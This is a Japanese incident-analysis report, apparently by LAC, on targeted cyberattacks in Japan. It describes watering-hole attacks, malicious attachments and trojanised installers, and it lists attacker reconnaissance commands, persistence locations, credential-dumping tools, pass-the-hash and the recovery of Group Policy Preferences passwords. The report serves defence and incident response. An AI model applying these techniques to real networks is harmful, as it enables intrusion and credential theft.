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本レポートは、ラックがこれまでに対応した、日本における標的型サイバー攻撃を調査・分析し、
結果を取りまとめたものです。

標的型サイバー攻撃は、世界的には 2010 年 1 月の米国 Google 社に対する事案が、国内では
2011 年後半に大手重工メーカや衆参両院への事案が確認されて以降、多く報告されるようにな
りました。

しかし、被害を受けた企業は、攻撃者が具体的にどのような手法を用いて侵入し、攻撃を行っ
たかについて公表しないため、被害に遭ったことがない企業、  被害に気づいていない企業がそれ
を知る機会はあまりありません。そのため、標的型サイバー攻撃への備えを検討したとしても、
入口・出口対策に目が行きやすく、そこをすり抜けられた場合の、内部ネットワークにおける防
御策にまで注意が払われていないケースが少なくありません。さらに一部の企業では、既存の製
品にまだ活用の余地があるにもかかわらず、新たに標的型サイバー攻撃に特化した製品を導入し、
安心してしまうケースもあるように見受けられます。万が一セキュリティ事案が発生した場合に
適切に対処するためにも、具体的な攻撃手法を理解しておくことは重要です。

近年、国内でもフォレンジック調査やマルウェア※解析の必要性が広く認識されるようになりま
した。一つの事案を掘り下げることも重要ですが、事案相互の関連性を調べて全体を俯瞰するこ
とにより、それまで見えなかった攻撃者の意図や手口が浮かび上がることがあります。一般の犯
罪捜査で、過去の事件と照合した結果、実は連続犯だったと判明するケースがあるのと同様です。

※悪意のあるソフトウェアの総称

ラックでは、「サイバー 119」によるセキュリティ事案への緊急対応をはじめ、フォレンジッ
ク調査やマルウェア解析などを数多く手掛けています。現場で収集した攻撃の際の痕跡はすべて
データベース化しており、それを基に、このたびの多角的・多面的な分析が可能となりました。
攻撃者像が垣間見えたところで事案発生が防止できるわけではありませんが、攻撃を受けた際に
何を優先し、いかに対処すべきか、より有効な手立てが講じられるようになると考えています。

以上のような観点から、レポート前半ではまず、実際に起こった事案から標的型サイバー攻撃
の手法を明らかにし、広く理解を深めていただくことを狙いとしました。後半では、複数の事案
の関連から見えてくる攻撃者の特徴や攻撃パターンなどについて、調査・分析した結果の一部を
紹介します。

なお、2014 年度中には、続編として、標的型サイバー攻撃を受けた際の調査対象に関するト
リアージ（優先度決定）の考え方や緩和策、対策についても公表する予定です。本レポートと併
せてご活用ください。

本レポートが、皆さまの標的型サイバー攻撃対策に少しでもお役に立てば幸いです。

サイバー・グリッド研究所　チーフ・リサーチャー兼
サイバー救急センター　脅威分析グループ　グループリーダー

初田淳一
CISSP, GCFA, EnCE
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　標的型サイバー攻撃の攻撃者は、狙いを定めた組織から情報を
窃取するためには手段を選びません。その手口は年々巧妙化・多
様化し、目的を達するまでは執拗に繰り返します。当初は、メー
ルに悪性ファイルを添付して直接送り付ける手法が主流でした
が、2013 年に入り、ゼロデイ 1 を悪用した「水飲み場型攻撃」
が日本でも初めて確認されました。

水飲み場型攻撃は、正規のウェブサイトを改ざんし、そこに
標的対象とする組織のユーザが訪れた時のみマルウェア感染させ
る攻撃手法です。海外でも 2012 年ごろに確認され、以降、国
内外で増加傾向にあります。表 1 はメディアで報道された国内
外の標的型サイバー攻撃の一覧で、表中、四角 ( ■ ) が示す事案
が水飲み場型攻撃とされているものです。言うまでもなく、これ
らは氷山の一角にすぎません。

攻撃者は、メールへの悪性ファイルの添付や、ユーザが普段
よく訪れるウェブサイトの改ざん、ソフトウェアのインストー
ル・更新時の悪用など、あらゆる手段で標的対象組織の PC を
マルウェアに感染させようとします。マルウェアに感染したこ
とのない組織はまず見当たらないと言っていいでしょう。標的
型サイバー攻撃への対策では、感染や攻撃者の活動の早期探知
と被害を拡大させないための多層防御が肝要ですが、併せて、
攻撃手法への理解を深めることが極めて重要です。

本レポートでは、日本における標的型サイバー攻撃の実際
の事案から、ポイントを以下のようにまとめました。本文では
さらに、攻撃者の攻撃手法や傾向、事案間に共通して見られる
点などについて詳しく解説します。

 攻撃者による事前の情報収集

•	 攻撃者は、次の攻撃の足掛かりとするため、メールを窃取して次の対象組織の情報を把握します。また、窃取
したメールを基に、精巧ななりすましメールを作成します。。

 マルウェア感染手法    

•	 企業に送りつけられた標的型メールなど、悪性ファイルを添付したメールでは、様々な脆弱性を突くものよりも、
利用者のクリック（ファイルの実行など）を期待するものが約 8 割を占めています。

•	 標的型メール以外では、水飲み場型攻撃のほか、ソフトウェアを配布・アップデートするサーバに不正侵入し、
正規のソフトウェアをマルウェア化して対象組織の PC をマルウェアに感染させる手法があります。

感染 PC を踏み台とした内部への不正アクセス

•	 攻撃者は、スキャンやブラウザの履歴を確認するなど、様々な方法により内部にあるサーバやネットワークを
把握します。

•	 パスワードやパスワードのハッシュ値 2 を取得すると、攻撃者はパスワードの所有者になりすまして内部への
不正アクセスを繰り返し、最終的に対象組織の管理者権限を取得します。パスワードやパスワードのハッシュ
値を取得するツールとして、gsecdump の利用が全体の半分を占めているものの、他にも様々な種類が使われ
ていることが明らかになっています。

•	 攻撃者は、組織内部での不正アクセスの過程でリモートコマンドを実行します。うち、タスクスケジューラの
悪用が全体の 6 割以上で見られます。

•	 攻撃全般で使われるツールはカスタム化したものや一般に流通していないものを使用し、ウイルス対策ソフト
の検出を回避しようとする特徴があります。また、最新の攻撃手法も取り込んでいます。

•	 2014 年あたりからは、対象ユーザによってマルウェアの動作を変更させるなど、対象組織で情報収集した結
果を反映させた攻撃も確認しています。　　
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 情報窃取

•	 情報窃取の際は、盗み出した情報が何かをフォレンジック調査などで知られないよう、複雑なパスワードを設
定します。中には、大きなサイズのファイルのアップロードに気付かれないようにするためか、ファイルのアッ
プロード制限を回避するためかは不明ですが、ファイルを細切れにした上で窃取するものもあります。

事案間の関連性

•	 事案間の関連性を分析した結果、標的対象とする組織を同業種に限定するケースをいくつか確認しています。
•	 「サイバー 119 」が対応した事案のうち、同一のマルウェアなどが他の事案でも見られた割合は全体の 2％で

した。一方、マルウェアの通信先ドメインは、複数の事案間で 8％が一致しました。この違いは、攻撃者にとって、
マルウェアの亜種作成に比べると新たな通信先ドメインの設定のほうが手間を要するためだと考えられます。

•	 2014 年夏には、感染手段の異なる攻撃を同時期に行い、盗難したと推測される複数のデジタル署名を使用す
るような、レベルの高い標的型サイバー攻撃も国内で確認されています。

•	 事案間の関連性が判明したことにより、感染原因の早期解明につながったケースもありました。攻撃に使われ
たマルウェアの接続先（通信先ドメイン）が、それ以前に調査した事案のマルウェアと同一であることが判明し、
そこから侵入手法を突き止めたケースです。過去の攻撃の痕跡を蓄積していくことで、万が一の際も早期に対
策を講じることが期待できます。

1.	 ソフトウェアベンダからの脆弱性情報や修正プログラムの公開前に、その脆弱性を悪用して攻撃すること。また、脆弱性そのもののこと。

2.	 入力データ（パスワード）を一定のサイズに圧縮した値。入力データが 1 ビットでも変化すると値は大きく変わるため、ハッシュ値から入力データに戻すのは困

難となる。
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表 1

世界の石油・天然ガスなどのエネルギー関連企業や製薬会社などへのサイバー攻撃（Night Dragon）

Google を含む米国企業へのサイバー攻撃（Operation Aurora）

イランの核燃料施設を標的としたサイバー攻撃（Stuxnet）

米国 EMC（RSA）社へのサイバー攻撃

フランス財務省へのサイバー攻撃により G20 情報が流出

ソニーへのサイバー攻撃により個人情報が流出

米国や英国などで、人権擁護団体、自動車、化学、防衛の複数の団体・企業へのサイバー攻撃（Nitro Attacks）

韓国の農協銀行で、業者が持ち込んだノート PC を介した内部への不正侵入でハードディスクが破壊

三菱重工へのサイバー攻撃

衆議院へのサイバー攻撃によるマルウェア感染で議員のパスワードが流出

総務省で標的型攻撃メールによるマルウェア感染を確認

JAXA から HTV（H-II Transfer Vehicle）の仕様や運用に関連する情報等が流出

特許庁で標的型攻撃メールによるマルウェア感染

国際協力銀行における情報流出 

原子力安全基盤機構における情報流出

イランを中心とする中東を標的としたサイバー攻撃（Flame）

財務省でマルウェア感染による情報流出

JAXA からロケット設計情報が流出

三菱重工（宇宙関連の事業所）におけるマルウェア感染

日本原子力研究開発機構における情報流出

農林水産省から TPP 関連などの機密情報が流出

外務省ネットワークから外部への情報流出

米国 Facebook に対し、Java のゼロデイの脆弱性を悪用した攻撃

日本を対象とする一太郎のゼロデイの脆弱性を悪用した標的型サイバー攻撃 5

韓国の主要な放送局、銀行がサイバー攻撃を受けマルウェアに感染、ATM やオンラインバンキングがサービス不能に

Yahoo! JAPAN への不正アクセスにより、最大 2200 万件の ID や 148 万件のパスワード（ハッシュ）、およびパスワードを忘れてしまっ
た場合の再設定に必要な情報が一部流出の可能性

Adobe にサイバー攻撃、290 万人分の顧客情報と製品ソースコードが流出

中東、南アジア、日本などで画像ファイルを利用したゼロデイ攻撃を確認

日本を対象とする一太郎のゼロデイの脆弱性を悪用する標的型攻撃 10

海外の NPO 団体のウェブサイトに Adobe Flash Player のゼロデイの脆弱性を悪用する攻撃コードが埋め込まれる 13

米国で、防衛および金融関係者を対象とする IE のゼロデイの脆弱性を悪用した標的型攻撃を確認 14

2009
2010

2011

2012

2013

2014

11
1
6
3
3
4
4
5
9

10
11
1
2
3
5
5
7

11
11
12

1
2
2
2

3

5

10
11

11

2
4

米国で、防衛産業関係者や政治活動家などの特定ユーザを狙った大規模なサイバー攻撃（VOHO Campaign3）

米国の外交問題評議会のウェブサイトに Internet Explorer (IE) のゼロデイの脆弱性を悪用する攻撃コードが埋め込まれる 4

中国のニュースサイトに IE の脆弱性を悪用する攻撃コードが埋め込まれる 6

米国労働省のウェブサイトに IE のゼロデイの脆弱性を悪用する攻撃コードが埋め込まれる 7

日本において、IE のゼロデイの脆弱性を悪用した水飲み場型攻撃 8 を初めて確認

米国の安全保障政策に関するウェブサイトに IE のゼロデイの脆弱性を悪用する攻撃コードが埋め込まれる 9

高速増殖炉もんじゅ および国立がん研究センターが、GOM Player の利用時におけるアップデート通信で不正なプログラムを実行される 11

はとバス・ヤマレコに IE のゼロデイの脆弱性を悪用する攻撃コードが埋め込まれる 12

シリアの投票システムサイトに Adobe Flash Player にゼロデイの脆弱性を悪用する攻撃コードが埋め込まれる 15

日本バスケットボール協会のウェブサイトに IE の脆弱性を悪用する攻撃コードが埋め込まれる 16

日本で、インターネットサービスプロバイダ（ISP）、学術機関、大学関係者などを対象とする EmEditor の更新チェッカーを悪用した
水飲み場攻撃 17

7

12

3

5
9

11

1
2

4
5
8

 メディアで報道された標的型サイバー攻撃の事案 (     ＝ 水飲み場型攻撃とされているもの )表 1
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標的型サイバー攻撃では、攻撃者はまず、標的組織やそこ
に所属する社員について情報収集し、その組織や関連組織の社
員、外部から問い合わせをする人などになりすまし、マルウェ
アに感染させるためのメールを継続して（執拗に）送ります。

組織内の PC がたった 1 台でもマルウェア感染させられる
と、攻撃者はその PC とネットワークに関する情報を収集し、
それを踏み台に他の PC への不正アクセスを繰り返します。最
終的にはドメイン管理者の権限を取得して組織内の全ての PC

ウェブサイト閲覧1

ソフトウェア更新 /DL1

C&C サーバ

ファイルサーバ

攻撃者

マルウェア感染2 情報窃取5

4 感染拡大・権限昇格

C&C 通信確立3

標的型攻撃メール1

標的型サイバー攻撃の概要

をコントロール下に置き、以降、継続的に組織をモニタリング
し、情報の窃取などを行います。管理者権限が得られない場合
でも、感染時のユーザの権限で窃取可能な情報を盗み取ります。
図 1 に標的型サイバー攻撃の概要を示します。

なお、標的型サイバー攻撃の主な目的は情報の窃取です
が、2010 年発生のイランの核燃料施設を狙った Stuxnet や、
2013 年に韓国で発生した、複数の銀行や放送局を狙った攻撃
では、標的組織の業務の阻害を最終目的としていました。

図 1  標的型サイバー攻撃の概要

標的型サイバー攻撃の全体的な流れ

標的型サイバー攻撃

3 .1 .
03
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　水飲み場型攻撃については、2012 年後半以降、国内外で少
なくとも 10 件以上報告されています（前掲表 1）。水飲み場
型攻撃とは、水飲み場に集まる動物を狙った猛獣の狩りの仕方
になぞらえたもので、攻撃対象とする組織のユーザが普段アク
セスするウェブサイト（水飲み場）にマルウェアを埋め込み（わ
なを仕掛け）、ユーザがそのサイトを閲覧しただけで感染して
しまう（わなにかかってしまう）攻撃方法です。巨大なポータ
ルサイトのような、不特定多数のユーザが訪問するサイトに限
らず、特定の関心事をテーマとし、関係する組織・業界のユー
ザが主に訪問するサイトなども、攻撃対象を絞り込むための狩
り場として狙われています。

国内では 2013 年 8 月に、水飲み場型攻撃とゼロデイの
脆弱性（Internet Explorer の脆弱性を突いた攻撃：MS13-
08018/CVE-2013-389319）とが組み合わさった事案が初め
て確認されました 20（図 2）。この事案では、攻撃者がサイト
を改ざんして不正プログラムを設置し、アクセスしてきた人の
IP アドレスが攻撃対象であった場合のみ、マルウェア感染の
ための攻撃コードを応答ページに追加する細工がなされていま
した（図 3）。そのため、攻撃対象ではない組織（セキュリティ
の専門企業など）が攻撃に気付くことは、まず困難な状況でし
た。

複数
の水飲み場が存在

攻撃者

閲覧者
標的ではない

閲覧者
標的とされた

C＆C サーバ

1

1

5

5

2

2

3

3

4

4

2

攻撃者が Web サイトを改ざんし、不正なプログラムを設置
いつも利用する Web サイトを閲覧
特定の送信元 IP アドレスからのアクセスに対してのみ不正プログラムを配布（攻撃コードを返す）
Internet Explorer (IE) の脆弱性を悪用したマルウェア感染が成功
攻撃者が用意した C＆C サーバに感染したパソコンが接続され、通信が確立

複数の水飲み場が存在

水飲み場型攻撃（標的型攻撃）　   ゼロデイ攻撃×

図 2

図 3

 水飲み場型攻撃の概要

 水飲み場型攻撃の際の、アクセス者の IP アドレスによる制御（JSOC INSIGHT vol.221 より）

水飲み場型攻撃3 .2.
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また、2014 年の 1 月と 8 月には、音楽プレイヤーとテキ
ストエディタのそれぞれの更新サイトが不正アクセスを受け、
正規のソフトウェアをダウンロードしようとしたユーザに、代
わりにマルウェアをダウンロードさせて感染させる事案が発生
しました。原因として、更新サイトへの不正アクセスの他に、
それぞれのソフトウェアの更新プログラムにデジタル署名を検
証しない不備があったことが挙げられます。この事案でも、特
定の組織が攻撃対象となっていたと報告されています 22, 23。

2014 年 5 月には、コンテンツデリバリネットワークサビ
ス 24 の一部が攻撃され、メーカから配布されるドライバなど、

正規ファイルがマルウェアに置き換えられる事案も報告されま
した 25。これについては、マルウェアの種類が通常の標的型サ
イバー攻撃で使用されるものとは異なり、また、特定の組織を
攻撃対象としたわけではないように見受けられることから、水
飲み場型攻撃ではなかったと推測されます。しかし、日本企業
の配布するファイルがマルウェア化された事実からは、日本全
体を対象とした攻撃であった可能性は否定できません。

いずれにしても、水飲み場型攻撃は今後も減ることはなく、
攻撃対象とされたユーザが様々な場面で巻き込まれることは容
易に予想されます。これに伴い、サイト側においてはより一層
の対策強化が求められる時代になったと言えるでしょう。

24 ウェブコンテンツの配信に関するパフォーマンスを、世界に分散配置したキャッシュサーバなどによって向上させるサービス。



8

事前の情報収集

各フェーズに関する調査結果

4 .1 .

　ラックでは 2011 年に、主に標的型攻撃メールについて取
り上げた「サイバー産業スパイの実態」と題する調査結果を公
表しました。その当時、海外では SNS の Facebook などを利
用した情報収集が行われていると言われていましたが、国内で
の情報収集の実態はこの調査結果ではまだ把握できていません
でした。

　その後、標的型サイバー攻撃への事後対応でフォレンジック
調査を実施する中で、攻撃者が PC をマルウェア感染させた後
に情報を窃取した痕跡が確認できました。窃取の痕跡を確認し
たのは、メールに関する次の情報です。

1.	 メールそのもの（メールアドレスを含む）
2.	 メールのアドレス帳
3.	 メールアカウントの ID とパスワード

　攻撃者は、SNS（Facebook など）を含めてインターネッ
トから収集した情報だけでなく、不正侵入した PC から窃取し
た情報の悪用も多いと考えられます。上記のメール関連情報は、
標的組織から直接窃取するだけでなく、その組織が所属する業
界団体や関連企業からも盗み取られています。
　その結果、攻撃者は、関係者を装ったより精巧ななりすまし
メールを作成できるようになります。メール本文を書き換える

場合でも、なりすました人のちょっとした表現の特徴（例えば
「おつかれさまです」「お疲れ様です」といった漢字・仮名の区
別）を踏襲するのはもちろんのこと、対象者と長らくメールを
やりとりしていない場合に、「ご無沙汰しております。前回の
ゴルフではお世話になりました」など、以前のメール内容を踏
まえたあいさつから始まるものまでありました。

　メールそのものの取得については、メールサーバに接続し
てメールを eml 形式にエクスポートするツールを使うものや、
拡張子が「eml」、「msg」などとなっているファイルをまとめ
て窃取するものも確認しています。メールアカウントの ID や
パスワードを窃取するのは、その後も継続的してメールを盗み
見るためと考えられます。

また、企業によってはインターネットからアクセス可能な
ウェブメールの環境が用意されていますが、これを悪用し、な
りすました相手に気づかれることなく標的型メールを送信して
いる事案もありました。この事案では、ウェブメールのアカウ
ント情報がどうやって取得されたのか、原因は判明しませんで
したが、ブラウザに記憶させたパスワードやウェブの閲覧履歴、
キーロガーからアカウント情報を窃取する事案が他で確認され
ていることから、これらの可能性が高いと考えられます。

04

  標的型メールについては、IPA26, 27 や警察庁 28 から報告され
ている手口以上に本レポートで特筆すべきものはありません
が、参考までに、顧客複数社で確認された悪性の添付ファイル
の割合を図 4 に示します。これら悪性の添付ファイルは、メー
ルのウイルス対策ゲートウェイをすり抜け、他のセキュリティ
機器で検出されたものです。なお、この統計にはスパムメール
のような、メール本文が標的組織に合わせて作られていないも
のも含まれています。

確認された標的型メールのうち、実行ファイル（拡張子が
exe、scr などのもの）やマクロファイル（doc、xls など）、ショー

トカットファイル（lnk）など、ユーザによるクリックを意図
したファイルを添付したものが全体の 76% を占めています。
ただしこの割合は、組織のセキュリティ対策の状況により大き
く変化します。また、Microsoft Word（doc、rtf）や一太郎

（jtd）、Adobe Flash Player（swf）などの脆弱性を突くものは、
メールのウイルス対策ゲートウェイでブロックされているとも
考えられ、これらのメールの割合が低いとは単純には言えない
ことに注意が必要です。実行ファイルについては、その多くが
圧縮されていました（図 5 ）。

標的型メール4 .2 .
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 実行ファイル（Executable）62%

 CVE-2012-0158(doc/rtf) 17%

マクロファイル（VB Macro）12%

CVE-2011-0611(swf)

CVE-2012-1856(doc/rtf)

2%

1%
CVE-2014-1761(rtf)1%

CVE-2010-3333(rtf)1%
CVE-2013-5990(jtd) 2%
ショートカット（LNK） 2%

swf =Adobe Flash Player
jtd   = 一太郎
rtf/doc= Microsoft Word

※図中「CVE-」は
脆弱性の識別番号。
その後の括弧内は右記の通り。

RAR(exe)

2%

2%
2% 1%
2%

 zip(exe)31%

 zip(scr)31%

23%

6%

RAR(scr)

zip(pif)

exe

scr

7-Zip(exe)

7-Zip(scr)

図 4

図 6

図 5

 添付ファイルの種類・脆弱性の内訳

 正規インストーラがマルウェア化されたイメージ

 実行ファイルの種類および圧縮形式の内訳

　正規ファイルをマルウェア化する攻撃は、国内では「3.2. 
水飲み場型攻撃」で紹介した 2013 年の事案があり、海外で
は、2014 年に、制御システムで使用されるアプリケーション
や機器の開発に携わるベンダのサイトが侵害されて正規のソフ
トウェアインストーラがマルウェアに置き換えられた事案が報
告されています 29。

　手法としては、正規のソフトウェアとマルウェアを合わせ
て RAR（ファイル圧縮形式の一つ）でファイルを圧縮した上
で、SFX（SelF-eXtracting file archive ＝自己解凍書庫）を
使用して実行ファイルにするもの（図 6）を複数確認していま
す（図 7）。この手法は容易なため、今後も多用されることが

推測されます。同様の悪性ファイルは、2012 年に nProtect
社からも報告 30 されています。この他、やはりファイル圧縮
形式の一つである CAB の SFX も確認されており、今後、zip
や 7-Zip など、他の圧縮形式でも SFX が確認される可能性が
あります。

　この種のマルウェアには正規のソフトウェアが含まれるた
め、その分ファイルサイズは大きくなります。ネットワーク型
セキュリティ対策製品の中には、一定の大きさ以上のファイル
はスキャンしないものもありますので、注意が必要です。使用
しているセキュリティ対策製品について、スキャンで対象とな
るファイルのサイズを一度確認しておくことをお勧めします。　

正規ファイルのマルウェア化4 .3 .
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図 7  マルウェア化された音楽プレイヤーのインストーラ

図 8  マルウェアのアイコン情報をリソースエディタで確認した際の画面

　一方、マルウェア化する際に SFX を使用しない事案もありました。この事案では、実行ファイル内のリソー
ス情報から、マルウェア作成者の PC は中国語環境であったと推測されます（図 8）。

　攻撃者は、PC を感染させた後や、感染 PC を踏み台に他の
PC へ侵入した後、情報収集のために次のことを実行する傾向
にあります。

1.	 システム情報の取得
2.	 ドメイン情報の取得
3.	 ファイル・ディレクトリ一覧の取得
4.	 パスワードハッシュ値／パスワード取得

　図 9 は、調査時によく見られる、システム情報やドメイン
情報を取得するバッチファイルの一例です。攻撃者によっては
さらに、管理者が使用する Windows コマンドや、ドメインの

管理情報を取得するツールを別途使用し、あらゆる情報を取得
しようとします。

　また、攻撃者は、ホストスキャンやブラウザの履歴の取得に
より、標的対象のウェブサーバ、ファイルサーバの一覧も窃取
します。ホストスキャンでは、Windows の ping コマンドの
利用や中国の攻撃者コミュニティで公開されているポートス
キャンなどを確認しています。一方で、ポートスキャンの代名
詞である nmap などのツールは確認されていません。このツー
ルは、ウイルス対策ソフトによって検出されるため、それを避
けるためだと推測されます。

マルウェア感染後、および他の PC への侵入後の情報取得4 .4.
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図 11

図 9

 頻繁に確認される gsecdump の実行結果

図 10  パスワードハッシュ値 / パスワード取得ツールの割合

 取得するシステム情報およびドメイン情報

BAT

ipconfig␣ /all ネットワーク情報の表示

通信状況、オープンしているポート（サービス）の表示

実行プロセスの表示

システム情報の表示

環境変数の表示

現在のドメインのコンピュータ一覧の表示

全てのドメインのコンピュータ一覧の表示

netstat␣-ano

tasklist␣/v

systeminfo

set

net␣view

net␣view␣/domain

　標的型サイバー攻撃によって他の PC やサーバに侵入する方
法は、脆弱性の悪用より、主に管理者になりすましてログイン
するケースがほとんどです。攻撃者は、マルウェア感染させ
た PC やそれを踏み台として侵入した PC から、必ずと言って
よいほどパスワードのハッシュ値を取得します。パスワードの
ハッシュ値を取得する際には、PC の管理者権限、もしくはプ
ログラムのデバッグ特権を必要としますが、実際には、ユーザ
がソフトウェアをインストールする場合などの利便性を重視
し、ローカル PC の管理者権限をユーザに与えている組織も少
なくありません。

パスワードのハッシュ値取得には gsecdump の利用が全体
の半数を占め、次いで PwDump、WCE といった有名なツー
ルが使われています。この他に、世間で流通していないと思わ
れるツールも複数確認されました。フォレンジック調査時に確
認されたパスワードハッシュ値／パスワード取得ツールの割合
を図 10 に示します。また、確認された gsecdump の実行結
果のイメージは図 11 の通りです。

gsecdump50%
GetTables

WCE

PwDump 12
%

13%

13%

6%

6%

複数種類を使用

中国製ツール

パスワードハッシュ値／パスワードの取得4 . 5.
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ハッシュ値 検出回避手法ssdeep31 AV32

875f3fc948c6534804a26176dcfb6af0

3ed9885c9fbd845746d5b6c385879b01

c488579b710b06b7c68cbdbac742b867

580a6558f4ade2a3a162b85662fbe6c6

0c086f19a29a564c14ca5836b2588154

704344e874e734f13450fd433855faf5

検出 (オリジナルバージョン )

バイナリパッチ

バイナリパッチ

バイナリパッチ

パッキング

パッキング

検出

検出

検出

検出

未検出

99

96

96

   また、フォレンジック調査時に残っていた、もしくは復元に
成功した gsecdump を調査した結果、インターネット上で公
開されているオリジナルバージョンと同じハッシュ値であった
ものは確認できませんでした（表２）。攻撃者は、パスワード

のハッシュ値を取得する処理に影響しない部分のデータを書き
換えたり（バイナリパッチ、図 12）、ファイルを実行可能な
状態のまま圧縮したり（パッキング）することにより、ウイル
ス対策ソフトの回避を図っていました。

図 12

図 13

表 2

 gsecdump のバイナリパッチ例

 中国製ツールの実行結果

 gsecdump のハッシュ値の一例

31 ファイルそのものに対して計算しています。

32 スキャン結果は、2014 年 7 月 1 日時点での代表的なウイルス対策ソフト（AV）によるものです。ここでは、未検出となるソフトもあると伝えることが目的のため、

個別のウイルス対策ソフト名は明らかにしていません。

　2012 年 2 月に、メモリ内からパスワードを平文でダ
ンプ（表示）するツール mimikatz が公開されました。
2013 年には、同様の機能を持つ中国製ツール（図 13）
をフォレンジック調査で確認しています。これらから、
標的型サイバー攻撃の攻撃者が最新の手法を取り入れ、
場合によってはカスタム化していることがわかります。
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33 少ない記憶領域で、平文と対応するハッシュ値のペアを保存しているテーブル。ソルト（パスワードを暗号化する際にランダムに付与される文字列）のないパスワー

ドハッシュ値への総当たり攻撃などに使用される。

34 以下の代表的なレインボーテーブル提供サイトを参考にしています。詳しくは以下をご参照ください。

http://project-rainbowcrack.com/table.htm

http://ophcrack.sourceforge.net/tables.php

攻撃者は、Windows 環境で取得したパスワードハッシュ値
を悪用し、他の PC へ不正侵入したり、マルウェア感染を拡大
させたりします。具体的には次の 2 つの方法で実行します。

1.	 取得したパスワードハッシュ値からパスワードを割り
出し、それによってなりすましログインした後、マル
ウェアを実行

2.	 取得したパスワードハッシュ値そのものを使用してな
りすましログイン（Pass-the-Hash Attack）した
後、マルウェアを実行

　1.に関しては、Windows XP以前のWindows OSはLMハッ
シュがデフォルトで保存されており、パスワードはレインボー
テーブル 33 を用いたパスワードクラックによって容易に割り
出すことができます。Windows Vista 以降についても、設定
しているパスワードが大文字・小文字を含む英数字 8 桁など
であれば NTLM ハッシュからでも割り出すことが可能です 34。
　割り出しが困難な場合でも、同一のパスワードが設定されて
いるアカウントの場合は、あるコマンドを攻撃の過程で追加す

ることによって、パスワードハッシュ値そのものを使用した
「Pass-the-Hash Attack」によってなりすましログインが可
能となります。
　これまで述べたほかにも、次のような手段を利用して（また
は次の場所から）パスワードを取得します。

1.	 キーロガー機能
2.	 Windows 資格情報コンテナーに保存しているパス

ワード
3.	 メールやブラウザに保存しているパスワード
4.	 クリップボード（パスワード保存ツールからクリップ

ボードへの貼り付け）
5.	 自組織で作成しているパスワード管理表

　ある事案では、ドメイン管理者がパスワードを変更した直後
に、変更後のパスワードが悪用されていました。これは、パス
ワードを変更した管理者の PC がマルウェアに感染しており、
キーロガー機能により変更後のパスワードが窃取されたことが
原因でした。

4.6.1. リモートコマンドの実行

　攻撃者は、なりすまし認証の後、あるいはユーザによる認
証済みセッションを利用し、4.4 の図 9 で示した取得情報を

「1.bat」などとしてバッチファイルやマルウェアに保存しま
す。その後、そのバッチファイル、マルウェアを攻撃対象の
PC やサーバに保存し、そこでそれらのファイルを実行します。
遠隔から攻撃対象の PC・サーバでプログラムを実行する方
法はいくつかあり、その中でもタスクスケジューラ（At）と
PsExec により悪用されたケースを８割以上で確認しています

（図 14）。
タスクスケジューラ (At)

PsExec

64%

18%

16%

4%

複数コマンド使用

ログオンスクリプト

図 14  リモートコマンド実行時に使用されるコマンドの割合

マルウェアの感染拡大・権限昇格4 .6.

http://project-rainbowcrack.com/table.htm
http://ophcrack.sourceforge.net/tables.php
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　なお、リモートコマンドではないものの、次のシステム起動
時やユーザログイン時にマルウェアのプログラムを実行させる
ため、攻撃者が特定のフォルダにファイルを保存したり（①）、
レジストリキーに登録したり（②）することも考えられます。

①	 C:\ProgramData\Microsoft\Windows\Start Menu\
Programs\Startup\malware.exe

②	 HKLM\Software\Microsoft\Windows\CurrentVer-
sion\Run

　また、これまでにラックが関わった事案では確認されていま
せんが、sc コマンドによるリモートコマンド実行も報告され
ており 35、今後は以下のコマンドを使用したものなども予想さ
れます。

l	schtasks
l	WMIC
l	winrs
l	powershell

　ここまで述べた「4.5. パスワードハッシュ値／パスワードの取得」や「4.6.1. リモートコマンドの実行」によって、攻撃者は
標的対象とした組織で感染拡大を繰り返し、また権限昇格を図ります。表 3 に、権限昇格に使用される手法の一例を示します。

DomainAdmins
/LocalAdmins

DomainAdmins

LocalAdmins

Users

Users

LocalAdmins

1 2 3 4 5 6 7 8
PC／サーバ ユーザ権限 同一

パスワード 管理者での
ログイン

キーロガー 脆弱性 委任 GPP パスワード 権限不備
管理簿

ドメイン

ドメイン管理者が
利用する PC

ユーザが
利用する PC

各 PC のローカルの管理者グループに所属するアカウントについて同一のパスワードが設定されている場合

同一 PC もしくは他の PC に対して権限の高いアカウントでのログイン時にパスワードを入力した場合

権限昇格の脆弱性がある場合

ドメイン管理者グループに所属するアカウントによりリモートデスクトップなどで感染 PC にログインした場合

委任を禁止していないドメイン管理者グループに所属するアカウントによりリモートデスクトップなどで感染 PC にログインした場合

ローカル管理者のパスワードを GPP（グループポリシー基本設定）にて変更した場合

（ここでは、DC は GPP による設定がなされていないと仮定）

管理者作成のパスワードを記録した管理簿へアクセスできるアカウントから、管理簿に記載されているアカウントへの権限昇格

ファイルサーバ等に保存された実行ファイルの改ざんや DLL Hijacking36 など

1

2

3

4

5

6

7

8

表 3  権限昇格の例

36 実行ファイルにおける DLL の検索順に起因する脆弱性 http://www.ipa.go.jp/files/000008790.pdf

4.6.2. 権限昇格に使用される手法の例

http://www.ipa.go.jp/files/000008790.pdf
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グループポリシー基本設定は、Microsoft Windows sever　
2008 から導入された新機能です。この機能により、ローカル
の管理者パスワードの変更やドライブマップの作成など、従来
のグループポリシーでは実現が難しかった設定が可能になりま
した。図 15、図 16 は、グループポリシー基本設定によって、
ドメインに参加している PC の「Administrator」アカウント
のパスワード更新や、「newadmin」の新規作成、およびロー
カルの管理者グループへの追加登録をする設定画面です。ドメ
インに参加している PC では、起動時に「Administrator」ア
カウントのパスワード更新と「newadmin」の新規作成が行わ
れます。

この機能が 2008 年に公開された後、2012 年 1 月に脆弱
性が報告されましたが 37、Microsoft 側は新機能の本来の仕
様だとしており、2014 年 5 月まで対策（MS14-02538）が
取られませんでした。その脆弱性は、グループポリシー基本設

4.6.3. グループポリシー基本設定とドメイン管理者によるログインの影響

グループポリシー基本設定 (Group Policy Preferences) の脆弱性4.6.3.1.

定の内容が記載されたファイル（図 17、図 18）が、ドメイ
ンユーザがアクセスできる場所に保存されることにより、ドメ
インユーザから見られる状態となってしまうというものでし
た。このファイルに記録されているパスワードは、AES 256

（暗号化方式の一つ）によって暗号化されていますが、その暗
号化鍵も Microsoft から公開されています。そのため、権限
の低いドメインユーザにも復号は可能（図 19）で、設定した

「Administrator」、「newadmin」のパスワードが容易に判明し、
ローカルの管理者権限昇格に悪用される恐れが生じます。

なお、図 18 のファイルは、設定を無効にしただけでは削除
されないため、注意が必要です。この後の「4.6.5. ユーザ名に
よる動作の切り替え」で紹介するログオンスクリプトも含め、

「%LOGONSERVER%」に不要なファイルが残っていないか
を総点検することも対策としては有効です。　

図 15  グループポリシー基本設定を使用した PC の Administrator のパスワード変更
